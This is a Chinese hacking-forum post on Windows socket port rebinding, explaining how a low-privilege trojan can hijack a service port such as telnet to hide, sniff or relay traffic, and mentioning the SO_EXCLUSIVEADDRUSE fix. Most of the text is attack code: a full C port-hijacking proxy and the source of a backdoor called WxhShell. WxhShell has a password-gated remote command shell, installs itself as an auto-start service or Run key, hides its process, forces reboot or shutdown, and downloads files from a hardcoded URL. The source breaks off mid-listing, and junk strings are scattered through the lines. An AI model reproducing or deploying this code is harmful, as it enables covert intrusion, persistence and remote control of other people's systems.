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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i1b4 J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PphR4 sIM  
Eg@R[ ^T  
  saddr.sin_family = AF_INET; =$"zqa.B6  
 opUKrB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~[ d=s  
'+ o:,6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fpj6Atk  
pRQ fx^ On  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !A'`uf4u  
zCKy`u .  
  这意味着什么?意味着可以进行如下的攻击: |1dEs,z\  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6 . +[ z  
2+T8Y,g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n:5O9,umZ  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cCo07R  
GW>7R6i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `-72>F;T  
W (=Wg|cr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]wkSAi5z*  
"!%w9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XE f&Yd  
3b g4#c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^DW#  
/(hP7_]`2  
  #include :$SRG^7md  
  #include ; McIxvj  
  #include r 85Xa'hh  
  #include    ,? 0-=o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F:*[  
  int main() LyJTK1]#  
  { |xsV(jK8  
  WORD wVersionRequested; AiyvHt  
  DWORD ret; f>\bUmk(  
  WSADATA wsaData; Vq\..!y  
  BOOL val; U}RS*7`  
  SOCKADDR_IN saddr; Q.pEUDq/  
  SOCKADDR_IN scaddr; b*'=W"%\  
  int err; Ckl7rpY+  
  SOCKET s; 0@sr NuW  
  SOCKET sc; V7B=+(xK  
  int caddsize; H0D>A<Ue  
  HANDLE mt; 9Sx<tj_4P{  
  DWORD tid;   a`EGx{q(  
  wVersionRequested = MAKEWORD( 2, 2 ); :|n>H+Y  
  err = WSAStartup( wVersionRequested, &wsaData ); 1WUFk?p  
  if ( err != 0 ) { bMqu5G_q  
  printf("error!WSAStartup failed!\n"); DJ mQZ+{2  
  return -1; CfkNy[}=  
  } eB<V%,%N#  
  saddr.sin_family = AF_INET; !OuTXa,I H  
   ! kOl$!X4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ( l3UNP  
n3l"L|W^(<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I9:G9  
  saddr.sin_port = htons(23); >?G|Yz*kEJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F653[[eQ  
  { [5RFQ!  
  printf("error!socket failed!\n"); we:5gK &  
  return -1; 4PO%qO  
  } yv!''F:9F  
  val = TRUE; TzevC$m;z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X5L(_0?F1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hdsgOu  
  { qSpa4W[  
  printf("error!setsockopt failed!\n"); +c]N]?k&  
  return -1; JL.yd H79  
  } (:fE _H2z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  z~}StCH(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7+D'W7Yx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~x0-iBF  
U>L=.\\|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7/D9n9F  
  { siss_1J  
  ret=GetLastError(); I7q?V1f u4  
  printf("error!bind failed!\n"); ZHiICh|et%  
  return -1; uhw5O9  
  } Eis%)oE  
  listen(s,2); `jUS{ 3^  
  while(1) ArmL,  
  { \[IdR^<YM  
  caddsize = sizeof(scaddr); m mJ)m  
  //接受连接请求 Z0F>"Z _qn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kc9mI>uH  
  if(sc!=INVALID_SOCKET) 9?}rpA`P  
  { 8)-t91hkL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PFDWC3<  
  if(mt==NULL) VH7iH|eW  
  { 3'sWlhf;  
  printf("Thread Creat Failed!\n"); "f&i 251  
  break; ,syA()  
  } bW 86Iw  
  } . ~A"Wyu\  
  CloseHandle(mt); t0asW5f  
  } 9$Pl'>5  
  closesocket(s); wWOT*R_  
  WSACleanup(); ,$6MM6W;-F  
  return 0; , R.+-X  
  }   V&,<,iNN  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y%CL@G60  
  { UwL"%0u  
  SOCKET ss = (SOCKET)lpParam; vq0M[Vy  
  SOCKET sc; Cj4b]*Q,  
  unsigned char buf[4096]; p=`x  
  SOCKADDR_IN saddr; vZ nO  
  long num; |{ /O)3  
  DWORD val; wh7a|  
  DWORD ret; Y3MR:{}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %\{?(baOA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Eps\iykB  
  saddr.sin_family = AF_INET; tFST.yT>zg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7]. IT(  
  saddr.sin_port = htons(23); 3 ?|; on  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MY<!\4/  
  { VU+s7L0  
  printf("error!socket failed!\n"); WH*=81)zp  
  return -1; E-U;8cOMv  
  } $L#Z?76v  
  val = 100; qiKtR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5.K$ X$+7}  
  { ETWmeMN  
  ret = GetLastError(); a4a[pX,5  
  return -1; q/2K=BOh  
  } f/[?5M[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |b'<XQ&l5  
  { @#--dOWYR  
  ret = GetLastError(); hq8/`u YF  
  return -1; jQ\ MB  
  } W Pp\sIP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >/HU'  
  { 'ZZ WH  
  printf("error!socket connect failed!\n"); :qSi>KCGh  
  closesocket(sc); v"('_!  
  closesocket(ss); io?{ew  
  return -1; ]I' xLh`  
  } OD/P*CQ_  
  while(1) HxqV[|}0u  
  { 7F9g:r/^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $?A Uk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dZiWVa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u*-<5& X  
  num = recv(ss,buf,4096,0); ;!Z7-OZX  
  if(num>0) o` 1V  
  send(sc,buf,num,0); s)DNLx  
  else if(num==0) m6Cd^'J9^  
  break; E~@HC5.M  
  num = recv(sc,buf,4096,0); 89- 8v^ Pq  
  if(num>0) ~CdseSo 9  
  send(ss,buf,num,0); =#")G1A  
  else if(num==0) 19-yM`O  
  break; &Cpxo9-  
  } -MW(={#   
  closesocket(ss); Y./}zCT  
  closesocket(sc); RdVis|7o  
  return 0 ; yb.|7U?/x  
  } <QW1fE  
"O1*uwm  
6p]R)K>wS  
========================================================== 79B`w #  
|`;1p@w"  
下边附上一个代码,,WXhSHELL (xSi6EZ6;  
8qYGlew,  
========================================================== %b%<g%@i  
f`]E]5?  
#include "stdafx.h" mhkAI@)>  
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#include <stdio.h> qjEWk."  
#include <string.h> k+GK1Yl  
#include <windows.h> Sfa m=.l  
#include <winsock2.h> *7fPp8k+Z;  
#include <winsvc.h> [W\atmd"  
#include <urlmon.h> -5_xI)i  
2gR_1*|  
#pragma comment (lib, "Ws2_32.lib") 1;~1U9V  
#pragma comment (lib, "urlmon.lib") M j%|'dZz  
1z@# 8_@  
#define MAX_USER   100 // 最大客户端连接数 U1!2nJ]  
#define BUF_SOCK   200 // sock buffer 7 8inh%  
#define KEY_BUFF   255 // 输入 buffer eh7r'DmAR  
nMdN$E  
#define REBOOT     0   // 重启 ^5 =E`q".  
#define SHUTDOWN   1   // 关机 $JSC+o(q3#  
QZa#i L  
#define DEF_PORT   5000 // 监听端口 P 7.8tM2}  
~+iJpW  
#define REG_LEN     16   // 注册表键长度 PEn^.v@  
#define SVC_LEN     80   // NT服务名长度 R^kv!x;h  
IoHkcP[H  
// 从dll定义API  p6l@O3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YM* 6W?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HYnqx>L ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (tLQX~Ur  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i\4"FO?v  
+|)#yE$aMh  
// wxhshell配置信息 k:@Ls  
struct WSCFG { m+^;\DFJ,  
  int ws_port;         // 监听端口 R*{?4NKG  
  char ws_passstr[REG_LEN]; // 口令 !vp!\Zj7o  
  int ws_autoins;       // 安装标记, 1=yes 0=no \HEo8~TY  
  char ws_regname[REG_LEN]; // 注册表键名 Y[]+C8"O  
  char ws_svcname[REG_LEN]; // 服务名 HV7(6VSJ+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :#htOsP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zjh9ZLu[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =&/a\z!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p[cL# fBz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >!F,y3"5S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r<N*N,~  
^?xJpr%)  
}; >^GCSPe  
g E+OQWu  
// default Wxhshell configuration K 0H!Ds9  
struct WSCFG wscfg={DEF_PORT, J6Nw-qF  
    "xuhuanlingzhe", T*~)9o  
    1, "?&bh@P&  
    "Wxhshell", 29657k8  
    "Wxhshell", 4 Wd5Goe:  
            "WxhShell Service", Hz3X*G\5b  
    "Wrsky Windows CmdShell Service", ,(W98}nB  
    "Please Input Your Password: ", z\d2T%^:g(  
  1, VgTI2  
  "http://www.wrsky.com/wxhshell.exe", NWN)b&}  
  "Wxhshell.exe" 3C[4!>|  
    };  n(xlad  
_rVX_   
// 消息定义模块 {^MAdC_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xKzFrP;/{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (NN14  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GZVl384@  
char *msg_ws_ext="\n\rExit."; 4l UE(#kUM  
char *msg_ws_end="\n\rQuit."; '#::ba[9w  
char *msg_ws_boot="\n\rReboot..."; J}KktD@!O  
char *msg_ws_poff="\n\rShutdown..."; W&f Py%g  
char *msg_ws_down="\n\rSave to "; R:^?6f<Z}  
+p<R'/  
char *msg_ws_err="\n\rErr!"; na:^7:I  
char *msg_ws_ok="\n\rOK!"; gH)B` @  
n$Fm~iPo,  
char ExeFile[MAX_PATH]; H{zuIN/.1  
int nUser = 0; oxXW`C<  
HANDLE handles[MAX_USER]; 0BE^qe  
int OsIsNt; ByvqwJY  
[F{a-i-  
SERVICE_STATUS       serviceStatus; z9O/MHT[w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )K3 vzX  
tg3JU\  
// 函数声明 O t<%gj;^  
int Install(void); pv SFp-:_  
int Uninstall(void); o`! :Q!+  
int DownloadFile(char *sURL, SOCKET wsh); Fe< t@W  
int Boot(int flag); ; 2-kQK9  
void HideProc(void); Q&Ahr  
int GetOsVer(void); rL3Vogw'e  
int Wxhshell(SOCKET wsl); ^O*hs%eO%  
void TalkWithClient(void *cs); !Qa7-  
int CmdShell(SOCKET sock); lD#1"$Coz  
int StartFromService(void); Q.$h![`6  
int StartWxhshell(LPSTR lpCmdLine); .3&OFM  
T-i]O*u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q9zpX{JT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K# < Wt5  
H,` XCG  
// 数据结构和表定义 `~TGVa`D  
SERVICE_TABLE_ENTRY DispatchTable[] = k T>}(G||  
{ :E`l(sI7J}  
{wscfg.ws_svcname, NTServiceMain}, h l'k_<a*  
{NULL, NULL} 6ng g*kE<  
}; FY*0gp  
Jo+C!kc  
// 自我安装 7N=VVD~!b  
int Install(void) Nj8)HR  
{ GFkte  
  char svExeFile[MAX_PATH]; |T&#"q,i9%  
  HKEY key; Lb 4!N` l  
  strcpy(svExeFile,ExeFile); P"@^'yR5WK  
cs;Gk:  
// 如果是win9x系统,修改注册表设为自启动 RUh{^3;~  
if(!OsIsNt) { u Aa>6R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Apbi}")  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "T=LHjE  
  RegCloseKey(key); UF&Wgj [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R)Fl@ Tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l= S_#  
  RegCloseKey(key); FuBRb(I  
  return 0; ^- Ji]5~  
    } !Sh5o'D28  
  } dL)5~V8s  
} =K8h)B_g  
else { OAOmd 4  
0k<%l6Bq  
// 如果是NT以上系统,安装为系统服务 0M-AIQ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [~S0b  
if (schSCManager!=0) _lqAxWH  
{ HX*U2<^  
  SC_HANDLE schService = CreateService 3$;v# P$%N  
  ( hJN A%  
  schSCManager, _nq n|  
  wscfg.ws_svcname, }cmL{S  
  wscfg.ws_svcdisp, G[,VPC=  
  SERVICE_ALL_ACCESS, epm|pA*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8, ^UQ5x  
  SERVICE_AUTO_START, YO+d+5  
  SERVICE_ERROR_NORMAL, q[K)bg{HB  
  svExeFile, 6d8  
  NULL, SUhP e+  
  NULL, ,Z"sh*  
  NULL, m#'9)%t!J  
  NULL, A79SAheX#  
  NULL -E"o)1Pj6C  
  ); c[q3O**  
  if (schService!=0) 6fyW6xv[,  
  { ?GZs5CnS  
  CloseServiceHandle(schService); e~dU "  
  CloseServiceHandle(schSCManager); -+/|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BJ/%{ C`g  
  strcat(svExeFile,wscfg.ws_svcname); VE m[F/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9x< 8(]\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  ^k=[P  
  RegCloseKey(key); SfT]C~#$N  
  return 0; ']x]X ,  
    } ly+7klQ;.  
  } B4=gMVp1  
  CloseServiceHandle(schSCManager); m%puD 9  
} 6m&I_icM  
} :Fl:bRH+  
(fS4qz:&l  
return 1; v<4zcMv  
} tnntHQ&b  
4V5*6O9(u  
// 自我卸载 E)bP}:4V  
int Uninstall(void) Ycm1 _z  
{ u 05O[>w  
  HKEY key; 1|CO>)*D  
je\UfEo%  
if(!OsIsNt) { (ol 3vt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ ]NAV  
  RegDeleteValue(key,wscfg.ws_regname); QH:i)v*  
  RegCloseKey(key); ~Tolz H!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uIBV1Qz  
  RegDeleteValue(key,wscfg.ws_regname); lM]7@A  
  RegCloseKey(key); :+n7oOV  
  return 0; 5Jp>2d  
  } ^m\n[<x^  
} -v] 0@jNe  
} 8~7EWl  
else { X.Kxio $o  
w*0T"hK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U*t `hn-xs  
if (schSCManager!=0) f,*e?9@;s  
{ y|ZJ-[qg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?(N(8)G1  
  if (schService!=0) j*nCIxF  
  { 6}0#({s:R  
  if(DeleteService(schService)!=0) { WqAP'x 1  
  CloseServiceHandle(schService); Bvwk6NBN  
  CloseServiceHandle(schSCManager); 3.Qwn.   
  return 0; m`t7-kiZ  
  } ;|c,  
  CloseServiceHandle(schService); ):\L#>:w  
  } EP @=i  
  CloseServiceHandle(schSCManager); a<Ta*:R$0  
} @<+(40`*  
} 'tc$#f^:  
$xqphhBg  
return 1; F-t-d1w6  
} V.}U p+WL  
v,s]:9f`\>  
// 从指定url下载文件 &fWZ%C7|jC  
int DownloadFile(char *sURL, SOCKET wsh) 71eD~fNdx  
{ azSS:=A  
  HRESULT hr; uG<+IT|x  
char seps[]= "/"; k5 8lmuU  
char *token; MLJ8m  
char *file; KW)yTE<  
char myURL[MAX_PATH]; VrDvd  
char myFILE[MAX_PATH]; w t}a`hxu  
DvGtO)5._  
strcpy(myURL,sURL); H$ v4N8D8I  
  token=strtok(myURL,seps); SU1, +7"  
  while(token!=NULL) 6YN4]  
  { Sx}h$E:  
    file=token; `8Gwf;P1  
  token=strtok(NULL,seps); LY"/ Q  
  } [}Nfs3IlBw  
zOcMc{w0   
GetCurrentDirectory(MAX_PATH,myFILE); SU:Cm: $  
strcat(myFILE, "\\"); .w`8_v&Y  
strcat(myFILE, file); J{91 t |  
  send(wsh,myFILE,strlen(myFILE),0); ='f>p+*c%  
send(wsh,"...",3,0); YVzK$k'3U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f -#fi7  
  if(hr==S_OK) v{I:Wxe  
return 0; TE/2}XG)  
else R8a xdV9(  
return 1; q\ ?6-?Mr  
GXwV>)!x  
} <I} k%q'  
mu*wX'.'  
// 系统电源模块 jjs-[g'}  
int Boot(int flag) "<kmiK/  
{ xv /w %  
  HANDLE hToken; TJCoID7a8  
  TOKEN_PRIVILEGES tkp; -7lJ  
dJ$}]   
  if(OsIsNt) { lA{Sr0f TP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tf+B<B:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &iuc4"'  
    tkp.PrivilegeCount = 1; ,Ti#g8j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .NabK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U7Ps2~x3  
if(flag==REBOOT) { \KG{ 11  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z19y>j  
  return 0; +* &!u=%G  
} Ly3^zF W  
else { X(/W|RY{@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >kd2GZe^_J  
  return 0; FG'1;x!  
} i~4:]r22  
  } ,cS|fG  
  else { .n"aQ@!  
if(flag==REBOOT) { gB?#T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) . a~J.0co  
  return 0; sLCL\dWT  
} XI pXP,Yy  
else { ;i1H {hB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :.@gd7T  
  return 0; z}Xn>-N-  
} ?g!py[CrE  
} l( "_JI  
h!$W^Tm2g  
return 1; :?&N/ 7  
} 7D4P= $UJp  
}F-WOQ  
// win9x进程隐藏模块 zK33.HY  
void HideProc(void) #b:8-Lt:M  
{ kz+P?mopm  
Hl]3F^{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .' #_Z.zr  
  if ( hKernel != NULL ) KyDQ<Dq&  
  { =6/0=a[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r..\(r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7j5l?K-  
    FreeLibrary(hKernel); N[czraFBD}  
  } c 8#A^q}  
W0X?"Ms|a  
return; 53#7Yy  
}  ;A1pqHr  
Ig]Gg/1G  
// 获取操作系统版本 qbmy~\ZY  
int GetOsVer(void) t(^c]*r~  
{ POdG1;)  
  OSVERSIONINFO winfo; 5PG%)xff*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8LB+}N(8f  
  GetVersionEx(&winfo); jg#%h`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lQldW|S>  
  return 1; oC"c%e8  
  else *l^h;RSx  
  return 0; <$_B J2Z  
} ]7Tjt A.\q  
Wn<3|`c  
// 客户端句柄模块 ,qyH B2v  
int Wxhshell(SOCKET wsl) dtr8u  
{ MWu67">"  
  SOCKET wsh; J6Cw1Pi  
  struct sockaddr_in client; /`3< @{D  
  DWORD myID; byoDGUv  
a6fMx~  
  while(nUser<MAX_USER) 8v_HIx0xu  
{ \_qiUvPf\  
  int nSize=sizeof(client); tGe|@.!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hC=9%u{r?  
  if(wsh==INVALID_SOCKET) return 1; V07e29w  
BJ wPSKL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t=Tu-2,k  
if(handles[nUser]==0) ]HCu tq  
  closesocket(wsh); zaf%%  
else (pNA8i%=G  
  nUser++; D^$Nn*i;U  
  } lt[{u$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); " 8>*O;xk  
Ns?y) G>:  
  return 0; H"6Sj-<=  
} w-pdpbHV  
y7txIe!<5  
// 关闭 socket  Q47Rriw  
void CloseIt(SOCKET wsh) + v{<<  
{ @;!s"!~sv  
closesocket(wsh); "JT R5;`w  
nUser--; ggIz) </  
ExitThread(0); uAwT)km {  
} );'8*e'  
C A VqjT7  
// 客户端请求句柄 ^W{+?q'  
void TalkWithClient(void *cs) 0ZlF#PJA  
{ LcI,Dy|P  
76(-!Z@=J  
  SOCKET wsh=(SOCKET)cs; TU&gj1  
  char pwd[SVC_LEN]; 17 Hdj  
  char cmd[KEY_BUFF]; O|}97a^  
char chr[1]; 8(&Jy RT  
int i,j; icOh/G=N;  
FhVi|V a  
  while (nUser < MAX_USER) { "hdc B 0  
e/'d0Gb-  
if(wscfg.ws_passstr) { h/W@R_Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wz3BtCx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ox#%Dm2  
  //ZeroMemory(pwd,KEY_BUFF); ^&>(_I\w.6  
      i=0; UEbRg =6  
  while(i<SVC_LEN) { RBd{1on  
+q[puFfl  
  // 设置超时 ;9MsV.n  
  fd_set FdRead; OQIQ   
  struct timeval TimeOut; bsO78a~=P  
  FD_ZERO(&FdRead); Ii_X^)IL(  
  FD_SET(wsh,&FdRead); fH-V!QYGF  
  TimeOut.tv_sec=8; >vF=}1_L  
  TimeOut.tv_usec=0;  A M8bem~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o|F RG{TJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J39,x=8LL  
GSj04-T"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sN.h>bd  
  pwd=chr[0]; 4 IuQQ  
  if(chr[0]==0xd || chr[0]==0xa) {  df;-E  
  pwd=0; PBc.}TSGj  
  break; x<W`2Du  
  } Y; JV9{j  
  i++; <iDqt5)N  
    } jl YnV/ ]  
_1S^A0ft  
  // 如果是非法用户,关闭 socket `uo'w:Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); of!Bz  
} SO^:6GuJ  
o*& D;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^kA^> vi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1'@/ jR  
tEhYQZ  
while(1) { Au(zvgP  
8(J&_7u  
  ZeroMemory(cmd,KEY_BUFF); \x\_I1|  
 *(5y;1KU  
      // 自动支持客户端 telnet标准   !B_i~Rmg  
  j=0; ,R_ KLd  
  while(j<KEY_BUFF) { rw/WD(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x2/L`q"M?=  
  cmd[j]=chr[0]; ?4vf 2n@  
  if(chr[0]==0xa || chr[0]==0xd) { d#6'dKV$  
  cmd[j]=0; UT!gAU  
  break; 8:E)GhX  
  } .cJWYMC  
  j++; R1u1  
    } ". #=_/op  
T5(]/v,UT  
  // 下载文件 'i#m%D`dt  
  if(strstr(cmd,"http://")) { #/!fLU@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XG2&_u&  
  if(DownloadFile(cmd,wsh)) frV *+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|-*amh  
  else X=$WsfN.h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UZ#Yd|'PD  
  } 0*0]R C5?  
  else { c@H:?s!0R  
*;b.x"  
    switch(cmd[0]) { z9OhY]PPF  
  )bN|*Bw3  
  // 帮助 ) in hPd  
  case '?': { FaS}$-0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ti$d.Kc(  
    break; p!5= 1$  
  } {nTQc2T?;  
  // 安装 `D)ay  
  case 'i': { -ZwQL="t  
    if(Install()) k/[*Wz$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#Ov!t  
    else ]gI>ay"\QA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*YbmI]4  
    break; c 4Q{  
    } <5rs~  
  // 卸载 #m yiZL %  
  case 'r': { &s m7R i  
    if(Uninstall()) HRP4"#9R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]r++YIg!j  
    else 4JF)w;X}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mHcxK@qw  
    break; e`gOc*  
    } IRy!8A=X  
  // 显示 wxhshell 所在路径 fT9z 4[M  
  case 'p': { uLFnuK  
    char svExeFile[MAX_PATH]; rz/^_dV  
    strcpy(svExeFile,"\n\r"); A0Z<1|6r*  
      strcat(svExeFile,ExeFile); &+F|v(|r  
        send(wsh,svExeFile,strlen(svExeFile),0); . !gkJ  
    break; F-K=Ot j  
    } F~j U;L  
  // 重启 /O@'XWW  
  case 'b': { !J<}=G5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {c5%.<O  
    if(Boot(REBOOT)) m?LnO5Vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` @.  
    else { 29eg.E  
    closesocket(wsh); Z(g9rz']0  
    ExitThread(0); Fh  t$7V  
    } Z#H] yG  
    break; q:2Vw`g'  
    } 9v[cy`\  
  // 关机  cTpmklq  
  case 'd': { /B>p.%M[&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8$Igo$U-  
    if(Boot(SHUTDOWN)) FCO5SX#-g  
